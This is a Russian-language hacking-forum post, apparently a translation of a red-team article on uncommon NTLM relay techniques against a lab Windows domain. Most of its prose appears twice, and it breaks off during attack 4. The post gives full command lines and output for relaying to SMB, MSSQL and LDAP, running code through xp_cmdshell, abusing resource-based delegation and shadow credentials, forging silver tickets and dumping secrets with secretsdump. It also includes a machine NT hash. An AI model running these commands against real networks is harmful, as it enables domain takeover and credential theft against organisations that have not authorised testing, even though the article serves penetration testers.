D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Ретрансляция NTLM (NT LAN Manager) — это техника атаки, которая существует уже много лет, но остается чрезвычайно эффективной. Независимо от того, используется ли она во время внутреннего тестирования на проникновение с условным нарушением безопасности или в ходе оценок красной командой после получения первоначального доступа, ретрансляция NTLM-учетных данных зарекомендовала себя как метод, позволяющий скомпрометировать учетные записи пользователей и получить несанкционированный доступ к системам Windows. Однако, несмотря на успех и широкое применение этой техники, существуют менее известные атаки с использованием ретрансляции NTLM, которые могут упускаться из виду многими специалистами по наступательной безопасности. Данная статья призвана осветить некоторые из этих малоизвестных атак и добавить их в ваш арсенал.
Прежде чем я продемонстрирую эти конкретные атаки, @HackAndDo написал отличное руководство по основам NTLM релея для тех, кому нужен вводный материал.
Также здесь приведена краткая справка по инструментам, которые будут упомянуты в этом посте:
Атака 1: Перечисление имен пользователей домена через SMB-релей без прав администратора
Наиболее известная атака с использованием NTLM-релея включает перехват попытки аутентификации (через спуфинг разрешения имен, принудительную аутентификацию или другую атаку с участием машины-посредника) и передачу NTLM-учетных данных на хост, который не требует подписания SMB. В идеальном случае результатом этой атаки становится передача учетной записи пользователя, обладающего административными привилегиями на целевой системе, что позволяет злоумышленнику использовать эти привилегии для извлечения учетных данных из реестра или выполнения команд. Но что, если у переданной учетной записи нет прав локального администратора на целевой системе?
Помимо просмотра SMB-общих папок с привилегиями переданной учетной записи, что обычно не дает значительной пользы, но все же стоит проверить, можно сделать нечто гораздо более полезное — перечислить учетные записи пользователей домена! Это чрезвычайно ценно, если вы все еще ищете первую аутентифицированную точку опоры в домене и не располагаете обширным списком пользователей для проведения атак методом подбора пароля.
Помимо ntlmrelayx, который будет использоваться во всех упомянутых в этой статье атаках релея, основным инструментом для этой техники является скрипт Impacket lookupsid.py.
Чтобы начать атаку, запустите ntlmrelayx с опцией «-socks», чтобы создать SOCKS-прокси соединение для каждого успешного релея.
Код: Скопировать в буфер обмена
Далее выполните атаку спуфинга разрешения имен, которая подходит для вашей среды (например, с помощью Responder или mitm6), и дождитесь входящего соединения, чтобы передать его на службу SMB целевой системы.
Код: Скопировать в буфер обмена
Как упоминалось ранее, несмотря на отсутствие у учетной записи «BABYSTEPS\USER1» прав локального администратора на целевой системе, мы все же можем использовать эту аутентифицированную сессию для перечисления учетных записей пользователей домена с помощью инструмента Impacket lookupsid.py, используя флаг «-domain-sids».
Поскольку мы используем SOCKS-соединение, установленное ntlmrelayx, мы выполним команду lookupsid.py через proxychains. Сначала нам нужно отредактировать файл «/etc/proxychains.conf» и убедиться, что он использует порт 1080, который является портом по умолчанию для SOCKS, используемого ntlmrelayx.
Теперь мы готовы использовать команду lookupsid.py и перечислить пользователей домена. Обратите внимание, что, поскольку мы используем существующее аутентифицированное соединение, пароль для этой команды не требуется.
Код: Скопировать в буфер обмена
Атака 2: Релеинг на Microsoft SQL Server
В некоторых случаях при проведении атаки релеинг NTLM-учетных данных на SMB-сервисы может оказаться неуспешным (например, если в сети повсеместно требуется подписывание SMB, либо вы не можете передать учетную запись с правами локального администратора и уже имеете полный список имен пользователей домена). Релеинг на службы Microsoft SQL Server (MSSQL) является отличной альтернативой, которая может привести к удаленному выполнению кода или повышению привилегий и часто остается незамеченной.
Для этого типа релея я рекомендую использовать флаг «-socks» утилиты ntlmrelayx или флаг «-i» для «интерактивного режима». При включенном интерактивном режиме можно использовать псевдо-командную строку MSSQL и выполнять различные команды с помощью mssqlclient.py из Impacket.
Сначала запустим ntlmrelayx, нацелившись на MSSQL-инстанс и указав флаг «-i» для интерактивного режима.
Код: Скопировать в буфер обмена
После выполнения атаки спуфинга разрешения имен в отдельном терминале мы получаем входящее SMB-соединение от пользователя «babysteps\domainadmin» и передаем его на службу MSSQL целевой системы.
Код: Скопировать в буфер обмена
Теперь мы можем использовать такой инструмент, как ncat, чтобы взаимодействовать с этим MSSQL-оболочкой на локальном хосте через порт 11000. После подключения можно воспользоваться встроенной командой-алиасом «xp_cmdshell», чтобы включить эту хранимую процедуру и выполнить команду «whoami» на целевой системе.
Код: Скопировать в буфер обмена
В случае, если у нас нет привилегий sysadmin в MSSQL и мы не можем использовать хранимую процедуру «xp_cmdshell» для выполнения команд ОС, альтернативным шагом после установления MSSQL-оболочки будет использование хранимых процедур «xp_dirtree» или «xp_fileexist» для инициирования удаленного подключения к SMB-сервису, контролируемому атакующим. В зависимости от учетной записи, под которой настроена служба MSSQL, это может привести к получению NTLMv2-хэша, который затем можно взломать или передать на другой MSSQL- или SMB-сервис в сети.
Атака 3: Релеинг на LDAP и настройка делегирования на основе ресурсов
В этом сценарии атаки предполагается, что соблюдаются следующие условия:
Цель этой атаки — передать учетные данные NTLM учетной записи компьютера на службу LDAP на контроллере домена и выполнить следующие действия:
Код: Скопировать в буфер обмена
После выполнения атаки спуфинга разрешения имен в отдельном терминале мы получаем входящее HTTP-соединение от системы с адресом 10.2.10.21 и передаем учетные данные учетной записи компьютера LA-WIN11-22H2-1$ на службу LDAP на 10.2.10.11. Аутентификация проходит успешно, и на локальном хосте на порту 11000 создается интерактивная LDAP-оболочка.
Код: Скопировать в буфер обмена
Далее мы подключаемся к LDAP-оболочке с помощью ncat и выводим список доступных команд с помощью команды help.
Код: Скопировать в буфер обмена
Предполагая, что ранее скомпрометированная учетная запись компьютера называется LA-SRV01-2019$, мы вводим следующую команду, чтобы предоставить этой учетной записи привилегии RBCD для переданной учетной записи LA-WIN11-22H1-1$:
Код: Скопировать в буфер обмена
Чтобы продолжить выполнение удаленного кода и компрометацию целевой системы, мы используем скрипт Impacket getST.py для получения TGS-билета для WSMAN SPN от имени пользователя babysteps\administrator, что позволит нам подключиться к цели через WinRM.
Код: Скопировать в буфер обмена
Наконец, мы настраиваем переменную окружения KRB5CCNAME, чтобы указать на наш TGS-билет, и используем evil-winrm для подключения к цели от имени пользователя babysteps\administrator.
Код: Скопировать в буфер обмена
Атака 4: Атака с использованием теневых учетных данных без предварительных учетных данных
В этой атаке мы будем использовать релеинг NTLM через LDAP для захвата учетной записи компьютера с помощью техники «теневых учетных данных». Этот метод включает изменение атрибута msDS-KeyCredentialLink учетной записи компьютера и является отличной альтернативой атакам с делегированием на основе ресурсов Kerberos, так как не требует добавления новой учетной записи компьютера или компрометации существующей. Для получения дополнительной информации о том, как работает атака с теневыми учетными данными, ознакомьтесь с отличной статьей от @elad_shamir.
Предварительные условия для успешного выполнения этой атаки:
Код: Скопировать в буфер обмена
Далее, в отдельном терминале запустите mitm6 для выполнения отравления DHCPv6 и спуфинга DNS.
Код: Скопировать в буфер обмена
После короткого ожидания мы получаем HTTP-соединение от учетной записи компьютера LA-WIN11-22H2-1$ вместе с его учетными данными NTLM. Эти учетные данные затем передаются на службу LDAP контроллера домена, и атрибут msDS-KeyCredentialLink переданной учетной записи компьютера обновляется.
Код: Скопировать в буфер обмена
Теперь мы можем использовать сертификат и закрытый ключ вместе с аутентификацией PKINIT, чтобы получить TGT для учетной записи компьютера LA-WIN11-22H2-1$. Для этого шага мы воспользуемся скриптом gettgtpkinit.py из репозитория PKINITtools от @_dirkjan.
Код: Скопировать в буфер обмена
После получения TGT переданной учетной записи компьютера есть два варианта для получения привилегированного доступа к этой системе:
Для этого шага нам понадобится инструмент gets4uticket.py из того же репозитория PKINITtools, откуда мы взяли скрипт gettgtpkinit.py. Синтаксис команды довольно сложный, поэтому обратите внимание на все параметры. Выходной файл, сохраненный как «administrator-cifs.ccache», будет представлять собой TGS-билет CIFS для пользователя administrator@babysteps.domain на хост LA-WIN11-22H2-1$.
Код: Скопировать в буфер обмена
Для завершения этой атаки мы устанавливаем переменную окружения KRB5CCNAME для использования билета CIFS, а затем используем инструмент secretsdump из Impacket для получения учетных данных с системы LA-WIN11-22H2-1.
Код: Скопировать в буфер обмена
Создание «серебряного билета»
Чтобы создать собственный «серебряный билет» для службы на хосте LA-WIN11-22H2-1, нам потребуется NT-хеш этого хоста для запроса TGT. Чтобы получить этот NT-хеш, мы можем выполнить технику UnPAC the hash с помощью инструмента getnthash.py из репозитория PKINITtools. Обратите внимание, что значение «-key», используемое в команде, является ключом шифрования AS-REP, который был выведен в результате выполнения предыдущей команды gettgtpkinit.py.
Код: Скопировать в буфер обмена
Теперь, когда у нас есть NT-хеш учетной записи компьютера LA-WIN11-22H2-1$, мы можем использовать его в качестве ключа шифрования RC4 для создания «серебряного билета» для этой системы с помощью инструмента ticketer.py из Impacket.
Одной из необходимых деталей для создания «серебряного билета» является SID целевого домена. Существует множество способов получить это значение, и в данном примере я использую инструмент pywerview, чтобы извлечь SID учетной записи babysteps\administrator. SID самого домена будет содержаться внутри SID этой учетной записи, так что это своего рода короткий путь к нужному нам значению.
Код: Скопировать в буфер обмена
Теперь у нас есть все данные, необходимые для создания «серебряного билета». В этом примере мы создадим «серебряный билет» для службы CIFS от имени пользователя babysteps\administrator.
Код: Скопировать в буфер обмена
Наконец, мы установим переменную окружения KRB5CCNAME и используем secretsdump для извлечения учетных данных из реестра системы LA-WIN11-22H2-1.
Код: Скопировать в буфер обмена
Атака 5: Атака с использованием теневых учетных данных с использованием предварительных учетных данных
Эта атака очень похожа на предыдущую, с той лишь разницей, что в данном случае мы уже скомпрометировали учетные данные как минимум одного пользователя или компьютера в домене. Это открывает возможность использовать методы принудительной аутентификации, такие как PetitPotam, Printer Bug или другие методы, основанные на протоколах Microsoft, такие как те, что реализованы в инструменте Coercer. Это позволяет расширить наши атаки с релеингом NTLM за пределы локальной подсети, давая возможность атаковать системы по всей целевой среде.
Для достижения этой цели мы будем полагаться на злоупотребление службой WebClient для принуждения HTTP-аутентификации с рабочих станций Windows. Обратите внимание, что серверные версии Windows по умолчанию не имеют этой службы, однако рабочие станции, такие как Windows 10 и 11, имеют установленную службу.
Вот общий обзор того, как работает эта атака:
Код: Скопировать в буфер обмена
Затем мы добавим DNS-запись в домен, которая указывает на нашу атакующую систему на Linux. Для этого шага я рекомендую использовать dnstool.py из репозитория krbrelayx. Эта DNS-запись необходима, чтобы целевая система считала нашу машину частью «Intranet Zone», что приведет к тому, что система отправит свои учетные данные NTLM в ответ на атаку принуждения аутентификации с помощью WebClient. Если мы попытаемся выполнить принуждение аутентификации, используя наш IP-адрес, мы не получим никаких учетных данных.
Код: Скопировать в буфер обмена
Затем мы используем ntlmrelayx с соответствующими флагами, связанными с атакой теневых учетных данных.
Код: Скопировать в буфер обмена
Затем используйте Coercer для запуска попытки HTTP-аутентификации.
Код: Скопировать в буфер обмена
После успешного принуждения аутентификации мы получаем аутентифицированное HTTP-соединение от учетной записи компьютера LA-WIN11-22H2-1$, передаем его на службу LDAP контроллера домена и изменяем атрибут msDS-KeyCredentialLink этой учетной записи компьютера.
Код: Скопировать в буфер обмена
Отсюда мы можем следовать тем же шагам, что и в предыдущем примере атаки — либо вариант с S4U2Self, либо вариант с «серебряным билетом». Чтобы подвести итог, эта атака очень похожа на популярную атаку с делегированием на основе ресурсов Kerberos (как описано здесь и здесь), но имеет преимущество в том, что не требует создания новой учетной записи компьютера или предварительной компрометации существующей.
Заключение
Надеюсь, этот пост подчеркнул некоторые возможности атак с релеингом NTLM, которые в противном случае остались бы незамеченными. Моя цель заключалась в том, чтобы добавление этих методов в арсенал специалистов по атакующей безопасности позволило лучше оценивать безопасность внутренних сетей во время тестов на проникновение и мероприятий красной команды, что в конечном итоге приведет к созданию более безопасной среды для наших клиентов.
Оригинальная статья: Beyond the Basics: Exploring Uncommon NTLM Relay Attack Techniques
Переведено: S3VE7N
Прежде чем я продемонстрирую эти конкретные атаки, @HackAndDo написал отличное руководство по основам NTLM релея для тех, кому нужен вводный материал.
Также здесь приведена краткая справка по инструментам, которые будут упомянуты в этом посте:
- Ntlmrelayx – многофункциональный инструмент, поддерживающий прослушиватели и клиентов для различных протоколов, таких как SMB, HTTP и LDAP. Используется для перехвата и передачи NTLM-учетных данных целевым системам с использованием нескольких прикладных протоколов.
- Responder – спуфер для NBT-NS/LLMNR/mDNS/DHCP. Используется для принуждения близлежащих систем к аутентификации на узле атакующего.
- Mitm6 – инструмент для атак в среде IPv6. Используется для злоупотребления настройками IPv6 по умолчанию в Windows и установления системы атакующего в качестве основного DNS-сервера для цели.
- Coercer – инструмент для принудительной аутентификации. Используется для удаленного инициирования попытки аутентификации от целевой системы с использованием различных протоколов Windows.
Атака 1: Перечисление имен пользователей домена через SMB-релей без прав администратора
Наиболее известная атака с использованием NTLM-релея включает перехват попытки аутентификации (через спуфинг разрешения имен, принудительную аутентификацию или другую атаку с участием машины-посредника) и передачу NTLM-учетных данных на хост, который не требует подписания SMB. В идеальном случае результатом этой атаки становится передача учетной записи пользователя, обладающего административными привилегиями на целевой системе, что позволяет злоумышленнику использовать эти привилегии для извлечения учетных данных из реестра или выполнения команд. Но что, если у переданной учетной записи нет прав локального администратора на целевой системе?
Помимо просмотра SMB-общих папок с привилегиями переданной учетной записи, что обычно не дает значительной пользы, но все же стоит проверить, можно сделать нечто гораздо более полезное — перечислить учетные записи пользователей домена! Это чрезвычайно ценно, если вы все еще ищете первую аутентифицированную точку опоры в домене и не располагаете обширным списком пользователей для проведения атак методом подбора пароля.
Помимо ntlmrelayx, который будет использоваться во всех упомянутых в этой статье атаках релея, основным инструментом для этой техники является скрипт Impacket lookupsid.py.
Чтобы начать атаку, запустите ntlmrelayx с опцией «-socks», чтобы создать SOCKS-прокси соединение для каждого успешного релея.
Код: Скопировать в буфер обмена
Код:
# ntlmrelayx.py -smb2support -t smb://10.2.10.31 -socks
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] SOCKS proxy started. Listening on 127.0.0.1:1080
[*] SMB Socks Plugin loaded..
[*] IMAPS Socks Plugin loaded..
[*] HTTPS Socks Plugin loaded..
[*] MSSQL Socks Plugin loaded..
[*] SMTP Socks Plugin loaded..
[*] IMAP Socks Plugin loaded..
[*] HTTP Socks Plugin loaded..
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
* Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
* Debug mode: off
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
Далее выполните атаку спуфинга разрешения имен, которая подходит для вашей среды (например, с помощью Responder или mitm6), и дождитесь входящего соединения, чтобы передать его на службу SMB целевой системы.
Код: Скопировать в буфер обмена
Код:
[*] SMBD-Thread-9 (process_request_thread): Received connection from 10.2.10.21, attacking target smb://10.2.10.31
[*] Authenticating against smb://10.2.10.31 as BABYSTEPS/USER1 SUCCEED
[*] SOCKS: Adding BABYSTEPS/USER1@10.2.10.31(445) to active SOCKS connection. Enjoy
ntlmrelayx> socks
Protocol Target Username AdminStatus Port
-------- ---------- --------------- ----------- ----
SMB 10.2.10.31 BABYSTEPS/USER1 FALSE 445
Как упоминалось ранее, несмотря на отсутствие у учетной записи «BABYSTEPS\USER1» прав локального администратора на целевой системе, мы все же можем использовать эту аутентифицированную сессию для перечисления учетных записей пользователей домена с помощью инструмента Impacket lookupsid.py, используя флаг «-domain-sids».
Поскольку мы используем SOCKS-соединение, установленное ntlmrelayx, мы выполним команду lookupsid.py через proxychains. Сначала нам нужно отредактировать файл «/etc/proxychains.conf» и убедиться, что он использует порт 1080, который является портом по умолчанию для SOCKS, используемого ntlmrelayx.
Теперь мы готовы использовать команду lookupsid.py и перечислить пользователей домена. Обратите внимание, что, поскольку мы используем существующее аутентифицированное соединение, пароль для этой команды не требуется.
Код: Скопировать в буфер обмена
Код:
# proxychains lookupsid.py -no-pass -domain-sids babysteps/user1@10.2.10.31
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
[*] Brute forcing SIDs at 10.2.10.31
[*] StringBinding ncacn_np:10.2.10.31[\pipe\lsarpc]
|S-chain|-<>-127.0.0.1:1080-<><>-10.2.10.31:445-<><>-OK
[*] Domain SID is: S-1-5-21-3396363035-2530258332-185159541
.. SNIP ..
1108: babysteps\User1 (SidTypeUser)
1109: babysteps\User2 (SidTypeUser)
1110: babysteps\User3 (SidTypeUser)
1111: babysteps\User4 (SidTypeUser)
1112: babysteps\User5 (SidTypeUser)
1113: babysteps\User6 (SidTypeUser)
1114: babysteps\User7 (SidTypeUser)
1115: babysteps\User8 (SidTypeUser)
1116: babysteps\User9 (SidTypeUser)
1117: babysteps\User10 (SidTypeUser)
1118: babysteps\User11 (SidTypeUser)
1119: babysteps\User12 (SidTypeUser)
1120: babysteps\User13 (SidTypeUser)
1121: babysteps\User14 (SidTypeUser)
1122: babysteps\User15 (SidTypeUser)
1123: babysteps\User16 (SidTypeUser)
1124: babysteps\User17 (SidTypeUser)
1125: babysteps\User18 (SidTypeUser)
1126: babysteps\User19 (SidTypeUser)
1127: babysteps\User20 (SidTypeUser)
Атака 2: Релеинг на Microsoft SQL Server
В некоторых случаях при проведении атаки релеинг NTLM-учетных данных на SMB-сервисы может оказаться неуспешным (например, если в сети повсеместно требуется подписывание SMB, либо вы не можете передать учетную запись с правами локального администратора и уже имеете полный список имен пользователей домена). Релеинг на службы Microsoft SQL Server (MSSQL) является отличной альтернативой, которая может привести к удаленному выполнению кода или повышению привилегий и часто остается незамеченной.
Для этого типа релея я рекомендую использовать флаг «-socks» утилиты ntlmrelayx или флаг «-i» для «интерактивного режима». При включенном интерактивном режиме можно использовать псевдо-командную строку MSSQL и выполнять различные команды с помощью mssqlclient.py из Impacket.
Сначала запустим ntlmrelayx, нацелившись на MSSQL-инстанс и указав флаг «-i» для интерактивного режима.
Код: Скопировать в буфер обмена
Код:
# ntlmrelayx.py -smb2support -t mssql://10.2.10.31 -i
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
После выполнения атаки спуфинга разрешения имен в отдельном терминале мы получаем входящее SMB-соединение от пользователя «babysteps\domainadmin» и передаем его на службу MSSQL целевой системы.
Код: Скопировать в буфер обмена
Код:
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.2.10.21, attacking target mssql://10.2.10.31
[*] Authenticating against mssql://10.2.10.31 as BABYSTEPS/DOMAINADMIN SUCCEED
[*] Started interactive MSSQL shell via TCP on 127.0.0.1:11000
Теперь мы можем использовать такой инструмент, как ncat, чтобы взаимодействовать с этим MSSQL-оболочкой на локальном хосте через порт 11000. После подключения можно воспользоваться встроенной командой-алиасом «xp_cmdshell», чтобы включить эту хранимую процедуру и выполнить команду «whoami» на целевой системе.
Код: Скопировать в буфер обмена
Код:
# ncat -n 127.0.0.1 11000
[!] Press help for extra shell commands
SQL (babysteps\domainadmin dbo@master)> xp_cmdshell whoami
output
----------------------
nt service\mssqlserver
Атака 3: Релеинг на LDAP и настройка делегирования на основе ресурсов
В этом сценарии атаки предполагается, что соблюдаются следующие условия:
- Атрибут MachineAccountQuota в домене не имеет значения по умолчанию (10) и/или разрешение SeMachineAccountPrivilege не назначено группе Authenticated Users, что не позволяет добавлять произвольные объекты компьютеров в домен.
- Примечание: Если бы это не так, мы могли бы выполнить всю атаку одной командой ntlmrelayx с флагом «–delegate-access», который попытается создать новую учетную запись компьютера и настроить делегирование на основе ресурсов Kerberos (RBCD) одной командой. Эта статья, которую я написал несколько лет назад, подробно объясняет эту атаку — перейдите к разделу «Resource-Based Constrained Delegation» в описании атаки, сценарий 3.
- Вы ранее получили привилегии локального администратора на системе, присоединенной к домену, и успешно собрали секреты LSA, получив при этом NT-хэш учетной записи компьютера.
Цель этой атаки — передать учетные данные NTLM учетной записи компьютера на службу LDAP на контроллере домена и выполнить следующие действия:
- Настроить делегирование Kerberos RBCD, добавив ранее скомпрометированную учетную запись компьютера в атрибут msDS-AllowedToActOnBehalfOfOtherIdentity переданной учетной записи компьютера.
- Получить Kerberos-билет TGS (Ticket Granting Service) для службы на переданной учетной записи компьютера, выдавая себя за пользователя с правами локального администратора.
- Использовать билет TGS для получения удаленного административного доступа к переданной учетной записи компьютера.
Код: Скопировать в буфер обмена
Код:
# ntlmrelayx.py -t ldap://10.2.10.11 -i -6 -wh wpad-lab
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
После выполнения атаки спуфинга разрешения имен в отдельном терминале мы получаем входящее HTTP-соединение от системы с адресом 10.2.10.21 и передаем учетные данные учетной записи компьютера LA-WIN11-22H2-1$ на службу LDAP на 10.2.10.11. Аутентификация проходит успешно, и на локальном хосте на порту 11000 создается интерактивная LDAP-оболочка.
Код: Скопировать в буфер обмена
Код:
# ntlmrelayx.py -t ldap://10.2.10.11 -i -6 -wh wpad-lab
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Serving PAC file to client ::ffff:10.2.10.21
[*] HTTPD(80): Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] HTTPD(80): Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt
[*] HTTPD(80): Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt
[*] HTTPD(80): Connection from ::ffff:10.2.10.21 controlled, attacking target ldap://10.2.10.11
[*] HTTPD(80): Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] HTTPD(80): Connection from ::ffff:10.2.10.21 controlled, attacking target ldap://10.2.10.11
[*] HTTPD(80): Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt
[*] HTTPD(80): Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] HTTPD(80): Authenticating against ldap://10.2.10.11 as BABYSTEPS/LA-WIN11-22H2-1$ SUCCEED
[*] Started interactive Ldap shell via TCP on 127.0.0.1:11000 as BABYSTEPS/LA-WIN11-22H2-1$
Далее мы подключаемся к LDAP-оболочке с помощью ncat и выводим список доступных команд с помощью команды help.
Код: Скопировать в буфер обмена
Код:
# ncat -n 127.0.0.1 11000
Type help for list of commands
# help
add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS.
rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value.
add_user new_user [parent] - Creates a new user.
add_user_to_group user group - Adds a user to a group.
change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
clear_rbcd target - Clear the resource based constrained delegation configuration information.
disable_account user - Disable the user's account.
enable_account user - Enable the user's account.
dump - Dumps the domain.
search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
get_user_groups user - Retrieves all groups this user is a member of.
get_group_users group - Retrieves all members of a group.
get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName).
set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.
set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel.
write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
exit - Terminates this session.
Предполагая, что ранее скомпрометированная учетная запись компьютера называется LA-SRV01-2019$, мы вводим следующую команду, чтобы предоставить этой учетной записи привилегии RBCD для переданной учетной записи LA-WIN11-22H1-1$:
Код: Скопировать в буфер обмена
Код:
# set_rbcd LA-WIN11-22H2-1$ LA-SRV01-2019$
Found Target DN: CN=LA-WIN11-22H2-1,OU=Workstations,DC=babysteps,DC=domain
Target SID: S-1-5-21-3396363035-2530258332-185159541-1106
Found Grantee DN: CN=LA-SRV01-2019,OU=Servers,DC=babysteps,DC=domain
Grantee SID: S-1-5-21-3396363035-2530258332-185159541-1107
Delegation rights modified successfully!
LA-SRV01-2019$ can now impersonate users on LA-WIN11-22H2-1$ via S4U2Proxy
Чтобы продолжить выполнение удаленного кода и компрометацию целевой системы, мы используем скрипт Impacket getST.py для получения TGS-билета для WSMAN SPN от имени пользователя babysteps\administrator, что позволит нам подключиться к цели через WinRM.
Код: Скопировать в буфер обмена
Код:
# getST.py -impersonate administrator -spn 'WSMAN/LA-WIN11-22H2-1.babysteps.domain' -dc-ip 10.2.10.11 -hashes :62a68d39b231ca68d2f81d8f614c86cc 'babysteps.domain/LA-SRV01-2019$'
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@WSMAN_LA-WIN11-22H2-1.babysteps.domain@BABYSTEPS.DOMAIN.ccache
Наконец, мы настраиваем переменную окружения KRB5CCNAME, чтобы указать на наш TGS-билет, и используем evil-winrm для подключения к цели от имени пользователя babysteps\administrator.
Код: Скопировать в буфер обмена
Код:
# export KRB5CCNAME=/tmp/administrator@WSMAN_LA-WIN11-22H2-1.babysteps.domain@BABYSTEPS.DOMAIN.ccache
# evil-winrm -i LA-WIN11-22H2-1.babysteps.domain -r BABYSTEPS.DOMAIN --spn WSMAN
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
babysteps\administrator
Атака 4: Атака с использованием теневых учетных данных без предварительных учетных данных
В этой атаке мы будем использовать релеинг NTLM через LDAP для захвата учетной записи компьютера с помощью техники «теневых учетных данных». Этот метод включает изменение атрибута msDS-KeyCredentialLink учетной записи компьютера и является отличной альтернативой атакам с делегированием на основе ресурсов Kerberos, так как не требует добавления новой учетной записи компьютера или компрометации существующей. Для получения дополнительной информации о том, как работает атака с теневыми учетными данными, ознакомьтесь с отличной статьей от @elad_shamir.
Предварительные условия для успешного выполнения этой атаки:
- В среде должен быть контроллер домена под управлением не ниже Windows Server 2016.
- Уровень функциональности целевого домена должен быть Windows Server 2016 или выше.
- Контроллер домена, используемый во время атаки, должен иметь собственный сертификат и ключи (это условие выполняется, если настроены службы сертификатов Active Directory Certificate Services).
- У вас нет учетных данных для целевого домена.
- Вы запускаете такой инструмент, как mitm6 или Responder, с использованием спуфинга DHCP и обнаруживаете частые попытки HTTP-аутентификации от учетной записи компьютера в домене.
- Передайте учетные данные учетной записи компьютера на службу LDAP контроллера домена и обновите атрибут msDS-KeyCredentialLink этой учетной записи, добавив уникальный DeviceID и другие данные, включая открытый ключ. В рамках этого процесса соответствующий закрытый ключ и сертификат будут сохранены на диск на атакующей системе.
- Используйте аутентификацию PKINIT, чтобы отправить данные предварительной аутентификации (которые зашифрованы с помощью закрытого ключа, созданного на предыдущем шаге) на контроллер домена и получить Kerberos-билет TGT (Ticket Granting Ticket) от имени переданной учетной записи компьютера.
Код: Скопировать в буфер обмена
Код:
# ntlmrelayx.py --shadow-credentials --shadow-target 'LA-WIN11-22H2-1$' -t ldap://10.2.10.11 --no-acl --no-dump --no-da -wh wpad-lab -6
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
